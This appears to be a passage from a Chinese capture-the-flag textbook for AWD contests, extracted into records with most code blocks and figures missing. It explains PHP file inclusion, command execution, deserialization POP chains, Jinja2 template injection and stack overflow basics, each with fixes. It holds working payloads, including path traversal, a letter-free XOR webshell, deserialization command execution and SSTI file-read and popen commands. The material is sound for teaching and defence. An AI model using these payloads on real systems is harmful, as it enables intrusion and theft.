    {"text": "这里用户传入的参数filename直接代入了函数file_get_contents中进行文件内容读取，没有对用户输入做任何的过滤限制，虽然在GET参数前拼接了$path来指定目录，但可以利用“../”来上跳目录达到读取任意文件的效果，最终读取passwd配置文件的EXP如下，利用效果如图4-19所示。 图4-19 文件读取配置文件 2 . 文 件 包 含 漏 洞 成 因 及 利 用 方 式 开发人员一般会把需要重复使用的函数体写在单独的代码文件中，当需要使用其中某个函数时会直接使用文件名参数来调用此文件，这样，当动态调用文件的参数可控时，就会容易造成文件包含漏洞。 文件包含分为本地文件包含和远程文件包含，且PHP文件包含是可以直接执行所包含文件的代码内容的，文件格式不受限制。 文件包含常见函数有include()、include_once()、require()、require_once()，前两个函数在包含文件时即使遇到异常错误也会继续执行后续代码，而后两个函数则会直接报错并退出程序。 （ 1 ） 本 地 文 件 包 含 本地文件包含漏洞常出现在网站模块加载、模板调用等功能点，在AWD竞赛中常用作包含flag文件，也可以包含上传的图片或者记录的日志来执行代码。 测试代码如下： 这里传入的path未经过滤就带入include函数中造成了任意文件包含，利用EXP如下，利用效果如图4-20所示。"},
    {"text": "图4-20 文件包含flag文件 如果flag是在后缀为php的代码文件中，我们可以使用PHP伪协议进行本地文件包含读取到PHP源码。 在上级目录中存在一个flag.php文件，代码如下： 如果直接利用/file_in.php?method=../flag.php是无法看到flag值的，因为包含的文件内容已经被当作PHP代码执行了，网页无法直接显示PHP源代码，这里就需要利用伪协议php://filter来读取源代码，利用base64编码后读取flag.php源码的EXP如下，利用效果如图4-21所示。 图4-21 伪协议包含PHP源码文件 （ 2 ） 远 程 文 件 包 含 顾名思义，远程文件包含是指可以包含远程服务器文件的包含漏洞，但利用条件相较于本地文件包含要苛刻得多，需要php.ini配置满足allow_url_fopen=On和allow_url_include=On。"},
    {"text": "后者则是允许包含URL对象文件，在PHP 5.2之后默认是关闭状态，要利用远程文件包含则需要此选项是开启状态。 下面来看一段简单的测试代码： 远程服务器172.17.0.1上存在一个test.txt文件，文件内容是<?php phpinfo(); ?>，在GET请求的url参数中输入http://192.168.138.1:28080/test.txt即可包含此远程文件并执行，结果返回本地phpinfo信息，如图4-22所示。 图4-22 远程包含phpinfo 在远程文件包含中，还可以使用PHP伪协议，php://input是一个可以访问请求的原始数据的只读流，能将POST请求中的数据作为PHP代码去执行，注意当enctype=\"multipart/form-data\"时，php://input是无效的。"},
    {"text": "图4-23 伪协议远程文件包含执行命令 注 意 ： 当服务器A远程包含服务器B中后缀是PHP文件时，若服务器B支持解析PHP语言，那么远程服务器B会先对包含的PHP文件进行解析，然后再将解析后的结果传送给服务器A。"},
    {"text": "这样会导致需要参数执行的PHP代码无法执行，比如一句话木马无法连接。 （ 3 ） 文 件 包 含 截 断 很多网站中动态包含代码都会在参数后面拼接.php来保证只能包含后缀是php的文件，如果我们不能写入以.php为扩展名的PHP文件，那么就需要一些截断方法来绕过这种限制。"},
    {"text": "测试代码如下： 在同一文件夹内存在exp1.txt文件，内容为<?php system('id'); ?>，这里限制了后缀名，直接设置path=exp1.txt是无法包含成功的，需要利用%00来截断拼接的.php后缀，利用效果如图4-24所示。"},
    {"text": "测试代码如下： 本地同样存在exp1.txt文件，这里使用HTTP协议的方式来包含本地文件，因为HTTP协议在WebServer下会把“?”之后的内容当作参数解析，从而绕过拼接的后缀。"},
    {"text": "图4-26 问号截断执行命令 4 . 3 . 2 漏 洞 修 复 文件读取和文件包含漏洞修复的核心主要有两点：正确使用php.ini文件和对动态包含参数添加白/黑名单过滤。"},
    {"text": "在AWD竞赛中，由于没有root权限无法修改php.ini配置文件且PHP版本较高，因此主要的防御手段还是添加参数过滤名单。 在AWD竞赛中，不能简单地删除包含参数或代码，更多的是加入过滤条件避免读取flag文件或者包含执行PHP代码。"},
    {"text": "对这段代码加入过滤条件，首先想到的就是利用正则匹配过滤输入的$file来防止攻击者读取flag文件，修补代码如下： 但这样并不能完全阻止攻击者获取flag值，虽然过滤了flag关键字，但环境支持远程文件包含，那么就可以利用PHP伪协议来构造EXP执行PHP代码获取flag值，利用效果如图4-27所示。 图4-27 伪协议构造EXP 进一步地封堵攻击者可以使用白名单或者强化过滤条件等方式，根据网站功能和代码审计一般可以找到动态包含的文件有哪些，将这些文件名构造白名单，既可以通过检测又能封堵住攻击者攻击路径；"},
    {"text": "毕竟在AWD竞赛紧张的每轮回合下，防守队员一上来就审计全局代码力求完全修复漏洞是不太现实的，可以先利用最简单的修复可以挡住前期的攻击，拿到防守优势后再慢慢审计代码力求完美修复。"},
    {"text": "1）2019年某行业线下AWD竞赛message站点，此网站是PHP站点，其中editinfo.php是一个修改用户信息的页面，关键漏洞代码如下： 以上是经典的文件包含漏洞代码，通过Seay可以快速定位漏洞代码位置。"},
    {"text": "这里的filename没有做任何过滤，可以通过拼接“../”来绕过前面的footer.php, EXP如下，利用效果如图4-28所示。 图4-28 文件包含利用 修复该漏洞也非常简单，直接将include函数的可控变量$file删除，即include './footer.php'； 如果怕此处会被扣分的话，可以通过添加正则表达式来过滤filename内容，代码如下： 2）2019年某行业线下AWD竞赛simple-converter python站点，是用Python代码写的简易Flask框架网站，关键漏洞代码如下： getfile()函数是一个根据文件后缀返回相应格式内容的文件读取函数，其绑定路由的文件名参数fuuid指定的是path类型，可以利用“../”来实现路径穿越达到任意文件读取，EXP如下，利用效果如图4-29所示。 图4-29 Python文件读取 修复方法：将路由中的'/docs/<path:fuuid>.<ext>'修改为'/docs/<fuuid>.<ext>'，使得无法使用“../”来进行路径穿越，修复效果如图4-30所示。"},
    {"text": "4.4 代码执行漏洞和命令执行漏洞 4 . 4 代 码 执 行 漏 洞 和 命 令 执 行 漏 洞 代码执行漏洞和命令执行漏洞是AWD竞赛的常客，大多数竞赛的PHP靶机都存在此类漏洞。"},
    {"text": "4 . 4 . 1 漏 洞 原 理 及 利 用 代码执行漏洞和命令执行漏洞都是因设计程序时对函数执行本身过滤不严而导致的，两者有一定的相似性，但其本质还是有所不同。 代码执行漏洞类似SQL注入漏洞，是将PHP代码注入到Web应用程序中去执行，权限受到Web应用程序本身限制； 命令执行漏洞是指攻击者能够控制直接执行系统命令的函数去执行系统命令，其所执行的命令会继承WebServer权限，能够对Web目录下任意文件进行删改等操作，危害更大。"},
    {"text": "（ 1 ） 代 码 执 行 函 数 常见的代码执行函数有eval()、assert()、preg_replace()、call_user_func()、array_map()、call_user_func_array()等，并不是这些函数本身有漏洞，究其原因还是函数的参数过滤不严格而被攻击者所利用。"},
    {"text": "1）eval()和assert()函数。 这两个函数都可以执行PHP语句，只不过eval()函数的参数是字符，格式规范更加严格一些，必须符合PHP代码格式要求； 而assert()函数则没有那么严格，其参数可以是表达式也可以是函数，即使遇到flase时，程序也会继续执行。"},
    {"text": "assert()函数利用则需要闭合函数来绕过进行代码执行，通过$c=123'）可以将file_exists闭合成file_exists('123')')的形式，后面可以继续拼接我们想要执行的PHP代码，比如or phpinfo();，此时file_exists函数会变成file_exists('123')or phpinfo();'），基本形式就构造完成了，但这样是无法执行成功的，因为后面还带有函数本身的闭合字符“'）”，我们需要两个反斜杠来注释掉这部分，最终file_exists函数会变成file_exists('123')or phpinfo();//'），EXP如下，利用效果如图4-31所示。"},
    {"text": "preg_replace()函数执行一个正则表达式的搜索和替换，其语法是：mixed preg_replace (mixed$pattern, mixed$replacement, mixed$subject [, int$limit=-1 [, int &$count]])，搜索subject中匹配pattern的部分，以replacement进行替换。 在PHP版本低于5.5.0时，该函数有一个/e修正符能使preg_replace()将replacement参数当作PHP代码执行；"},
    {"text": "下面来看这段测试代码： 这里preg_replace()的3个参数均可控，要利用/e的代码执行漏洞，需要让$subject有$pattern的内容可供搜索，同时$pattern指定/e的搜索模式，$replacement填写要执行的PHP代码，exp如下，利用效果如图4-32所示。"},
    {"text": "call_user_func()函数的作用是把第一个参数作为回调函数调用，其格式是call_user_func（callable $callback，mixed $parameter=?，mixed$...=?）:mixed，第一个参数callback是被调用的回调函数，其余参数是回调函数的参数。"},
    {"text": "图4-33 call_user_func()代码执行 注 意 ： call_user_func()函数可以传递任何内置的或者用户自定义的函数，但array()、echo()、empty()、eval()、exit()、isset()、list()、print()和unset()等函数除外。"},
    {"text": "（ 2 ） 双 引 号 代 码 执 行 在PHP语言中，单引号和双引号都可以表示一个字符串，但对于双引号来说，特定情况下可能会对引号内的内容进行二次解释，测试代码如下： PHP有个特性，即在双引号中倘若有${}出现，那么{}内的内容将被当做代码块来执行，所以是可以代码执行的，如图4-34所示。 图4-34 双引号代码执行 2 . 命 令 执 行 漏 洞 某些Web应用有时需要调用一些执行系统命令的函数，如PHP语言中的system、exec、shell_exec、passthru、popen、proc_popen等，当用户能控制这些函数中的参数时，就可以将恶意系统命令拼接到正常命令中，从而造成命令注入攻击。"},
    {"text": "（ 1 ） e x e c ( ) 和 s h e l l _ e x e c ( ) 函 数 exec()函数可以执行系统命令，但它不会直接输出结果，而是将执行的结果保存到数组中返回。"},
    {"text": "如果提供了output参数，那么会用命令执行的输出填充此数组，每行输出填充数组中的一个元素； 如果同时提供output和return_var参数，命令执行后的返回状态会被写入到此变量中。"},
    {"text": "shell_exec()函数也同样能执行系统命令，不会直接输出执行的结果，会返回一个字符串类型的变量来存储系统命令的执行结果，其语法为shell_exec（string $cmd）: string。"},
    {"text": "测试代码如下： 以上是一段非常简单的执行ping命令的功能代码，多存在于管理后台的测试工具功能上，通过GET方式获取IP参数拼接到ping命令并利用shell_exec函数执行，正常输入IP运行效果如图4-35所示。 图4-35 正常执行ping命令 但因为shell_exec()函数的参数可控且未加任何过滤，会存在命令执行漏洞。"},
    {"text": "●逻辑与（&&）：前一个命令执行成功后才会执行下一个命令。 ●逻辑或（||）：前面的命令执行失败才会执行后面的命令，当命令执行成功后面不再执行。"},
    {"text": "（ 2 ） s y s t e m ( ) 和 p a s s t h r u ( ) 函 数 system()函数可以执行系统命令，同时输出命令执行结果，无须额外打印输出函数，其语法为system (string $command，int &$return_var=?): string，执行command参数所指定的命令。 passthru()函数同样可以执行系统命令，也会输出命令执行结果，结果支持二进制形式。 其语法为passthru (string $command, int &$result_code=null): ?bool。 当所执行的UNIX命令输出二进制数据，并且需要直接传送到浏览器的时候，需要用此函数来替代system()函数。 测试代码如下： 以上代码通过GET方式获取参数name值，拼接成字符串后利用system()函数执行输出Hello $name!。"},
    {"text": "因为前后有双引号，直接插入连接符和命令会被填充到字符串当中打印出来，所以需要双引号闭合，将前面的echo分割成单独的命令，后面的分号同样需要闭合，让感叹号与插入的命令分割防止报错，最终Payload为？"},
    {"text": "图4-37 system执行命令 （ 3 ） 反 引 号 反引号（``）在PHP语言中是一个执行运算符，PHP会尝试将反引号中的内容作为shell命令来执行，并返回输出信息。 使用反引号执行运算符的效果与shell_exec()函数相同，能够执行系统命令。 需要注意的是，反引号运算符在PHP环境中激活了安全模式或者关闭了shell_exec()函数时是无效的，且与其他某些语言不同，反引号不能在双引号字符串中使用。"},
    {"text": "图4-38 反引号执行命令 4 . 4 . 2 漏 洞 修 复 在AWD竞赛中，大多数靶机修改权限有限，无法修改php.ini等配置文件，防护方法也只能从代码入手。"},
    {"text": "如下是一段简单的代码执行漏洞： 修复该漏洞最常用的方法就是利用正则匹配，过滤掉能执行命令的函数，代码如下： 命令执行可参考DVWA的impossible级别修复方法，通过explode()函数以“.”为分隔符将$target变量中的IP地址进行分割，分割后会得到一个数组，然后判断数组中的元素是否为数字，并且判断是否为4个元素，否则不执行，代码如下： 这类漏洞的防护可以提前准备类似waf的PHP文件，根据现场比赛情况灵活部署。 4 . 4 . 3 赛 题 实 战 某公司内部AWD竞赛PHP站点，在search页面存在代码执行漏洞，关键代码如下： 这里通过eval()函数执行传入的code参数，但存在正则过滤，code不能包含字母、数字和下划线。"},
    {"text": "在PHP中，两个变量进行异或时，先会将字符串转换成ASCII值，再将ASCII值转换成二进制进行异或。 异或操作完成后，会将二进制结果转换成ASCII值，再将ASCII值转换成字符串。"},
    {"text": "图4-39 异或得到字母 这个方法的难点在于输出不可控，一个个去计算非常麻烦，我们可以用Python做一个Fuzz测试，遍历输出异或后的字符，如图4-40所示。 图4-40 遍历输出异或后的字符 我们已经知道了如何利用异或方式构造字母，下面的问题就是如何让代码执行异或后组成的函数呢？"},
    {"text": "code=$_GET['a']()&a=phpinfo，则可以成功执行，如图4-42所示。 ▲图4-41 phpinfo没有执行 图4-42 phpinfo成功执行 回到题目，因不允许字母、数字和下划线，所以要利用异或来构造_GET。 通过遍历，我们可以凑出一个异或关系：\"`{{{\"^\"?<>/\"，这个输出就是_GET。 为了让这个异或先执行，我们利用${}特性，写成${\"`{{{\"^\"?<>/\"}，这个就相当于$_GET了。 我们的EXP是$_GET['@']($_GET['^']);，将其中的_GET替换成${\"`{{{\"^\"?<>/\"}，得到${\"`{{{\"^\"?<>/\"}['@'](${\"`{{{\"^\"?<>/\"}['^']);，这样一个无字母、数字和下划线的WebShell就构造完成了。"},
    {"text": "在AWD竞赛后期，能力稍弱的队伍基本能够将文件读取、命令执行一类的初中级漏洞修复，反序列化漏洞则是能力强的队伍在比赛后期的一大得分利器，甚至可以说是决定比赛最终排名的关键因素之一。"},
    {"text": "4 . 5 . 1 漏 洞 原 理 及 利 用 要说反序列化，那肯定要先说什么是序列化，序列化简单来说是一个将对象转化成字符串的过程，目的是在传递或存储对象的属性值的过程中不丢失其类型及结构，那么将序列化后的字符串转化成对象的过程就是反序列化。 反序列化漏洞形成的原因是反序列化函数参数可控以及不正确使用了PHP魔法函数。 1 . 序 列 化 与 反 序 列 化 函 数 在PHP语言中，负责序列化和反序列化的函数是serialize()、unzerialize()，当创建了一个对象后，可以通过serialize()函数把这个对象转换成一个字符串来保存对象的值，方便之后的传递与使用；"},
    {"text": "运行结果如下： 第一行是test类对象序列化的字符串，其中O表示这是一个对象，4表示对象名的长度，test是对象名，2表示对象有2个属性，分别是aaa、bbb。"},
    {"text": "接下来分号后的s则表示第二个属性的属性名也是字符串，3是属性名长度，bbb是属性名，紧接着的s代表bbb值的类型是字符串，9是字符串长度，index.php是属性值。"},
    {"text": "在PHP语言中存在一种特殊函数体叫魔术方法，它的命名是以两个下划线符号“__”开头的，这些函数会在特定情况下自动触发，常见的PHP魔法函数如下。"},
    {"text": "●__construct()：当一个对象创建时被调用。 ●__destruct()：当一个对象销毁时被调用。 ●__wakeup()：使用unserialize()函数时触发。 ●__sleep()：使用serialize()函数时触发。 ●__destruct()：对象被销毁时触发。 ●__call()：在对象上下文中调用不可访问的方法时触发。"},
    {"text": "可控的输入点是$a，传参后会对$a进行反序列化操作，除此之外，还存在一个魔法函数__destruct()，一般在序列化或者程序运行结束对象被销毁时执行。 那么能满足这个情景的，就是unserialize（$a），对$a反序列化重新变成类A的对象，直到最后程序结束，对象消失，就会调用__destruct()魔术方法。 这么说比较抽象，我们传入一个class A实例化后并进行序列化的字符串O:1:\"A\":1:{s:4:\"text\";s:3:\"abc\";}，效果如图4-44所示，代表成功执行了__destruct()函数。 图4-44 __destruct()函数执行成功 既然__destruct()函数能成功执行，要想利用eval函数执行命令，我们需要传入一个类A对象序列化后的字符串，对象里的成员变量$text是要执行的代码命令，构造EXP方法如下。 运行得到O:1:\"A\":1:{s:4:\"text\";s:13:\"system('id');\";}，传入即可执行命令，如图4-45所示。"},
    {"text": "POP（Property-Oriented Programing，面向属性编程）常用于上层语言构造特定调用链的方法，与二进制的ROP（Return-Oriented Programing，面向返回编程）的原理相似，都是从运行环境中寻找一系列的代码或指令调用，然后根据需求构成一组连续的调用链，最终达到攻击者的目的。"},
    {"text": "通过阅读源码发现，最终要利用的是Modifier类里的include（$value）来包含base64编码后的flag.php，也就是POP链结束是Modifier类。 代码开始首先进行反序列化，会触发__wakeup()，也就是POP链开始是Show类。 确定了头和尾，然后捋一下流程关系，要想包含flag，就要触发__invoke()，要触发__invoke()就要触发return$function()，也就是__get()方法的Test类，就得让return$this->str->source中的str是Test类； 要触发__toString()，得让Show类作为字符串调用，即preg_match()方法，让$this->source是show类，调用preg_match方法就要触发__wakeup()，也就是POP链开始就是Show类，正序捋一下： 1）__wakeup()方法通过preg_match()将$this->source做字符串比较，如果$this->source是Show类，就调用__toString()方法。 2）__toString()访问了str的source属性，如果str是Test类，则不存在source属性，所以调用了Test类的__get()魔术方法。 3）__get()方法将对象p作为函数使用，p实例化为Modify类，就调用了Modifier类的__invoke()方法。 现在清楚了POP链的全部流程，类之间的从属关系就是Show{$source:Show{$source:Test{$p:Modifier{$var:flag.php}}，$str}，$str}，接下来写EXP代码，这里采用较为通俗易懂的赋值方式编写。 运行输出的EXP如下： 这里因为Modifier类里的$var是protected类型，所以要修改EXP里的*var，将“*”转换为\\00*\\00，再把变量var前面的s改成大写S，最终Payload如下： 利用效果如图4-46所示。"},
    {"text": "图4-46 POP链利用 4 . 5 . 2 漏 洞 修 复 PHP反序列化漏洞的修复方法可以总结为不要把任何用户的输入或者用户可控的参数值直接放进反序列化的操作中，而是通过黑白名单匹配输入参数的方法来过滤掉攻击者的EXP。 在竞赛中，寻找反序列化漏洞是重难点，修复方法反而比较简单，多数竞赛环境中可以直接将能够执行命令或读取文件的高危方法给注释掉，或者固定其返回值。"},
    {"text": "2）common.php。 3）play.php。 4）index.php。 这个题目有4个关键PHP页面源码，笔者在源码的基础上加了一些注释，方便后续构造POP链时理解和查找。 2 . P O P 链 分 析 阅读代码后可以看出，我们需要通过GET方式传入username和password参数来最终执行cat flag，那么头和尾就确定了，下面就是构造POP链的过程。"},
    {"text": "2）midsolo类里的Gank方法可以实现字符串调用，所以midsolo类对象里的$name是jungle类的对象； 调用Gank方法，得触发__invoke()，这样就得将对象作为函数调用，即topsolo类里的TP方法，所以topsolo类对象里的$name是midsolo类的对象。"},
    {"text": "由index.php和play.php可以看出整个代码流程可简化为： 那么思路就清晰了，我们通过构造player类的参数代入程序后能够构造出一个topsolo类的对象来，利用的就是read函数，通过5字节转为3字节，造成反序列化吞噬掉后面的特定长度的序列化字符，从而构建出一个新的序列化字符串，此时新的序列化字符串内就包含了topsolo类的对象。"},
    {"text": "所以，利用player类的对象，将成员变量username赋值为\\0*\\0……的形式，通过read函数覆盖掉成员变量password序列化值来构造一个新的password序列化值。 3 . P a y l o a d 构 造 首先本地写一个构造序列化的PHP代码，文件名为test.php： 访问test.php，代码运行结果如下： 这里的加粗部分是我们想要程序最终反序化执行的对象里password部分，但需要进行改造，首先midsolo类里有__wakeup()，会在反序列化时触发导致更改成员变量name的值，所以通过修改对象属性个数来绕过，又因为所有的类都是私有成员变量且check方法不允许出现字符串name，所以用十六进制的\\00、大写S和\\6eame进行绕过，同时要在加粗部分开头加一个双引号“\"”弥补要被吞噬的双引号，最后改造得到： 下面确定username参数，首先在play.php添加如下代码方便对比： 然后构造测试Payload： 访问play.php可看到： 其中加粗部分就是需要吞噬掉的部分，一共23个字符。 因为5字节转为3字节导致吞噬的字符只能是2的倍数，所以在粗体部分结尾多增加一个任意字符组成24个字符，得出需要username输入12个“\\0*\\0”，password部分为： 所以，最终Payload为： 传入参数后，read(check(file_get_contents(\"caches/\".md5($_SERVER['REMOTE_ADDR']))))输出的值如下： 其中，星号部分是12个“*”加上24个空字符，\";s:7:\"*pass\";s:172:\"2部分是因反序列化吞噬掉的部分，加粗部分是构造出新的成员变量password的值。"},
    {"text": "此题基本涵盖了PHP反序列化常见的大多数考点，POP链的构造不难，初次练习需要细心寻找每个类之间可以相互调用的方法，多次练习便能快速找到隐藏的POP链。"},
    {"text": "4.6 Python模板注入漏洞 4 . 6 P y t h o n 模 板 注 入 漏 洞 在AWD竞赛中，Python站点常使用Flask框架，Flask框架是一个轻量级Web应用框架，基于Werkzeug WSGI工具包和Jinja2模板引擎，而其常见的攻击方式就是SSTI，即服务端模板注入攻击。"},
    {"text": "服务端接收了攻击者的恶意输入后，未经任何处理就将其作为Web应用模板内容的一部分，模板引擎在对目标的编译渲染过程中，执行了攻击者插入的恶意破坏原模板用意的语句，造成了敏感信息泄露、代码执行、权限被获取等问题。"},
    {"text": "1 . F l a s k 运 行 及 渲 染 流 程 为了更好地明白漏洞原因，我们先来初步了解一下Python Flask的运作流程，来看一个简单的“Hello World”Web程序，代码如下： 我们来分析一下代码，首先app=Flask（__name__）是初始化一个Flask框架实例，所有的Flask程序都必须创建一个程序实例。"},
    {"text": "最后，Flask类的run()方法在本地开发服务器上运行应用程序访问本地地址的8008端口即可看到Web程序如图4-49所示。 图4-49 Flask简单测试程序 我们再来看一个带有传参的Flask Web程序，代码如下： 我们浏览器不带参数正常访问路由test，页面显示如图4-50所示。"},
    {"text": "▲图4-50 Flask不带参数访问 图4-51 Flask带参数访问 模板只是一种提供给程序来解析的一种语法，换句话说，模板是从数据（变量）到实际的视觉表现（HTML代码）的一种实现手段，这种手段不论在前端还是在后端都有应用。"},
    {"text": "通俗点理解就是程序获得数据，放入模板里，然后让渲染引擎生成HTML的文本，返回给浏览器，这样做的好处是展示数据快，能大大提升运行效率。"},
    {"text": "2 . 模 板 注 入 Flask是使用Jinja2来作为渲染引擎的，而“{{}}”在Jinja2中作为变量包裹标识符，除了可以输出传递的变量以外，还能执行一些基本的表达式，然后将其结果作为该模板变量的值。"},
    {"text": "输入{{'a'.__class__.__mro__}}，利用mro魔术方法，我们可以找到object类，页面返回如图4-55所示。 图4-55 找到object类 3）寻找可用引用。 输入{{'a'.__class__.__mro__[2].__subclasses__()}}，这里object类因为是第三个，所以__mro__[2]代表的是object类，利用__subclasses__()返回全部子类，如图4-56所示，子类太多，这里简单示意一下。"},
    {"text": "输入{{'a'.__class__.__mro__[2].__subclasses__()[40]（'/flag'）.read()}}，其中__subclasses__()[40]代表的是file类，利用其中的read()方法读取flag文件，如图4-57所示，至此，Payload构造完毕。 图4-57 SSTI读取任意文件 既然能找到读取文件的类，同样也能找到支持命令执行的类，寻找方法与上述步骤类似，这里列举一个Payload：{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"id\").read()')}}，效果如图4-58所示，可以成功执行命令。 图4-58 SSTI命令执行 在竞赛中这样构造Payload可能比较麻烦，选手可以赛前在自己的环境中提前准备好Python2.x和3.x读取文件、执行命令的Payload，比赛时直接使用，快速拿分。"},
    {"text": "4 . 6 . 2 漏 洞 修 复 下面以4.6.1节的代码为例，存在漏洞的代码如下： 漏洞产生的根本原因就是用户可控制模板内容、数据和代码的混淆，可通过输入变量包裹标识符带入渲染来利用魔术方法读取文件或执行命令。"},
    {"text": "对test()函数进行如下修改： 此时输入{{'a'.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}，发现页面直接打印了字符串，而无法读取文件了，如图4-59所示。"},
    {"text": "这是因为模板引擎一般都默认对渲染的变量值进行编码转义，存在漏洞的代码中，模板内容是直接受用户控制的。 在这段代码中，用户所控的是name变量，而不是模板内容，所以输入的任何字符都会经过编码转译，从而也就不存在注入漏洞。"},
    {"text": "二是request.form['data']会先经过markdown的解析，所以在构造payload时要注意将符合markdown语法的部分进行转义，比如出现的小括号()，如果不加反斜杠“\\”进行转义，就会被解析成HTML的<a>标签。"},
    {"text": "已知读取flag的Payload是{{'a'.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}，需要对其改造。"},
    {"text": "POST参数：data={{'a'[request.args.a][request.args.b][2][request.args.c]\\(\\)[40]\\(request.args.file\\)[request.args.d]\\(\\)}}。"},
    {"text": "图4-61 SSTI读取flag 修复方法非常简单，将用户可控参数修改为变量，具体如下：将return render_template_string(u'<link href=\"/static/css/yue.css\" rel=\"stylesheet\" /><div class=\"yue\">{}</div>'.format(md))修改为return render_template_string(u'<link href=\"/static/css/yue.css\"rel=\"stylesheet\"/><div class=\"yue\">{{md}}</div>'，md=md)。"},
    {"text": "第5章 PWN常见漏洞及修复 第 5 章 P W N 常 见 漏 洞 及 修 复 PWN是AWD竞赛中的常客，但由于其利用方法和修复方式较为复杂，而且需要选手储备大量的汇编和系统的知识，因此接触PWN的选手较少。也正因如此，PWN成为AWD赛场上的拉分项和翻盘的重要手段。 本章讲解了PWN的一些常见漏洞类型以及修复方式，包含栈溢出漏洞、格式化字符串漏洞、堆溢出漏洞、释放再利用漏洞等。通过本章的学习，读者可以顺利入门PWN的世界。 5.1 汇编语言基础 5 . 1 汇 编 语 言 基 础 在二进制漏洞利用中，需要一些基础的汇编语言知识，这些基础知识是接触PWN题目的必备知识。如果读者感兴趣的话，可以去找一些更为详细的汇编资料扩展学习。 常见的汇编指令集语法有两种：Intel和AT&T。如果读者是用原生GDB去调试的话，就可以看到AT&T类型的汇编了。但是由于Pwndbg、IDA等常见工具都使用了Intel汇编，所以默认都是Intel汇编显示，这种格式阅读方便，本书的所有汇编截图都是Intel汇编格式。 5 . 1 . 1 通 用 寄 存 器 寄存器可以理解为在汇编中保存当前程序各种变量值的一种通用符号。其中64位系统中有16个通用寄存器，分别是rax、rbx、rcx、rdx、rbp、rdi、rsi、rsp、r8～r15。重要的几个寄存器介绍如下： ●rip指向CPU将要执行的地址。 ●rsp指向栈顶，栈空间开辟出来的低地址，比如sub rsp，0x30。 ●rbp指向栈底，也就是栈的起始位置，比如push rbp;mov rbp，rsp。 ●rax为函数的返回值寄存器，比如一个函数的返回值存放在rax中。 32位系统的汇编也称为x86汇编，寄存器类似于64位系统，只有7个通用寄存器，分别是eax、ebx、ecx、edx、esi、ebp、esp。这7个寄存器的功能与64位系统的功能相同，只是64位将eax换成了rax，换了首字母。 通用寄存器除了保存临时变量之外，还有一种通过给rax/eax赋值（如1，2，3，4…）配合syscall来调用Linux系统符号的特殊用法（32位程序同64位）。 在Linux系统符号表中，数字0～300分别表示一个函数，如0表示read，1表示write，2表示open等。如果想用syscall调用read函数，那么就将rax设置为0，具体汇编代码如下，此汇编代码表示为：read(rdi，rsp，1024)。 在ORW的PWN类型中，很多汇编代码需要读者自己编写，若程序没有提供函数的地址，就需要通过Linux系统符号表的资料查找具体的函数调用序号了，所以读者要多多练习，熟练使用基础的汇编语句。 5 . 1 . 2 重 点 汇 编 知 识 在汇编基础中，函数的参数传递以及call指令、leave指令等与PWN的关系较大，本节仅介绍与此相关的内容。 1 . 参 数 传 递 汇编函数中的参数传递多数是以寄存器的值为参数进行的，但x64与x86不同。在64位系统中，汇编的参数传递举例如下：假设函数为f_add(1,2,3,4,5,6,7,8,9)，那么前6个参数依次保存在rdi、rsi、rdx、rcx、r8、r9中，其他参数则采用push的方法传入，如图5-1所示。 同样的代码在x86中则如图5-2所示。图中所有的参数都是依次推入栈空间中传递的。 ▲图5-1 64位汇编参数传递图 图5-2 32位汇编参数传递图 2 . c a l l 指 令 和 l e a v e 指 令 汇编中较为常见的指令有mov、add、jmp、sub、and、xor等，比较容易理解，但也有一些较为复杂的指令，而这些复杂的点往往会成为PWN题目的考点。 这里重点介绍call指令和leave指令的执行过程。进入一个函数的汇编语句大多是由call func1来执行的，但实际上call指令相当于push rip_next，jmp func1，rsp-8;，这样栈中保存了原来rip_next的地址，RSP的地址减少8个字节。 leave指令汇编等价于mov rsp，rbp; pop rbp，这句汇编看起来很简单，却是栈迁移漏洞的基础。比如如果覆盖了rbp的值，那么rsp的值也会被修改，就会进入一个新开辟的栈空间中。 这里有一个关于赋值的技巧，除了常见的直接赋值，如mov eax，0x1赋值，也可以利用栈来完成，如push 0x1; pop eax，作用是相同的。栈迁移漏洞赋值就是依靠pop指令修改rbp起步的。我们可以利用这个技巧，保存寄存器原始的值，在使用完这个寄存器后，恢复此寄存器原始的值。代码如下："},
    {"text": "5.2 栈溢出漏洞 5 . 2 栈 溢 出 漏 洞 栈溢出漏洞是二进制漏洞中的基础，是曾经软件行业中经常出现的漏洞，其出现的主要原因是使用了不安全的函数，如gets、strcpy等，这些函数没有限制用户的输入长度，导致栈溢出。"},
    {"text": "栈是程序编译时就预留好的空间，比如定义了一个栈空间：char str[16]，这个栈空间中变量str预留的字节数是16。 而堆则可以表示为：char *str=(char*)malloc(sizeof(char)*16)，是动态申请存放在内存中的。"},
    {"text": "图5-3 栈空间排布示意图 在图5-3中，前三行代码均为开辟栈空间：首先保存rbp的原始地址（push rbp），接着初始化新的栈基址（mov rbp，rsp），然后开辟一个0x10大小的栈空间（sub rsp，0x10）。"},
    {"text": "之后执行用户代码，执行完毕后，在图5-3a中，leave指令恢复栈平衡（leave=mov rsp rbp;pop rbp），最后ret退出程序，这是一个正常程序的开始到结束。"},
    {"text": "但是如果用户代码中存在一个不限制用户输入长度的函数，导致用户输入了a*8+b*8+c*8+d*8，而str[16]长度只有16，所以剩余的输入将会覆盖leave和ret，如图5-3b所示，ret的地址被覆盖为用户的输入数据，当程序执行ret退出时，恰好将ret中的dddddddd弹给rip寄存器，程序就会跳转到地址dddddddd去执行。"},
    {"text": "rsp和rbp是指向栈空间的寄存器，rbp指向栈顶，一般不变动，rsp用来开辟空间大小，那么由前三行的汇编代码可知，这里开辟了大小为0x10个字节的栈空间。"},
    {"text": "接着单步调试（调试命令ni）至0x40055a地址处，可以发现传入gets函数的参数rdi寄存器地址是0x7fffffffe110，也就是栈的开始地址。 按照正常的程序，rsp寄存器开辟了0x10个字节的空间，所以传入gets函数的栈空间数组大小应该为0x10个字节。"},
    {"text": "但是，gets函数并没有限制输入的字符串长度，输入的数据超过了rbp、rsp开辟的0x10个字节长度的栈空间，修改了0x7fffffffe128地址的内容，也就会造成ret返回的内容被修改，从而出现栈溢出的情况。"},
    {"text": "如下代码为汇编语句执行到的位置： 汇编代码对应的栈空间的值如下，可见栈空间内容已经被覆盖（rsp和rbp保持着栈空间大小为0x10，内容为aaaaaaaabbbbbbbbccccccccdddddddd）。"},
